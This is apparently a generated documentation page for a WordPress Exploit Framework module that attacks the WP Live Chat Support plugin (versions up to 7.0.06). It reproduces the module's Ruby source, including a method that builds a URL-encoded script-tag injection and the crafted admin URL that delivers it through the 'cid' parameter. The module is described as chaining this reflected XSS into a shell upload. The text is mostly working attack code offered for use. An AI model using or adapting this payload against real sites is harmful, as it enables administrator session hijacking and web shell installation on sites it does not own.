class Wpxf::Exploit::WpLiveChatSupportReflectedXssShellUpload
Public Class Methods
new()
click to toggle source
Calls superclass method
Wpxf::WordPress::ReflectedXss::new
# File lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb, line 7 def initialize super update_info( name: 'WP Live Chat Support <= 7.0.06 Reflected XSS Shell Upload', author: [ 'Chris Liu', # Discovery 'rastating' # WPXF module ], references: [ ['WPVDB', '8843'], ['URL', 'http://jvn.jp/en/jp/JVN70951878/index.html'], ['URL', 'https://www.rastating.com/wp-live-chat-support-7-0-06-reflected-xss'] ], date: 'Jun 01 2017' ) end
Public Instance Methods
check()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb, line 25 def check check_plugin_version_from_changelog('wp-live-chat-support', 'readme.txt', '7.0.07') end
url_payload()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb, line 33 def url_payload url_encode("#{Utility::Text.rand_numeric(2)}'><script>#{xss_ascii_encoded_include_script}</script><span class='") end
url_with_xss()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb, line 37 def url_with_xss "#{vulnerable_url}?page=wplivechat-menu-history&wplc_action=remove_cid&cid=#{url_payload}" end
vulnerable_url()
click to toggle source
# File lib/wpxf/modules/exploit/xss/reflected/wp_live_chat_support_reflected_xss_shell_upload.rb, line 29 def vulnerable_url normalize_uri(wordpress_url_admin, 'admin.php') end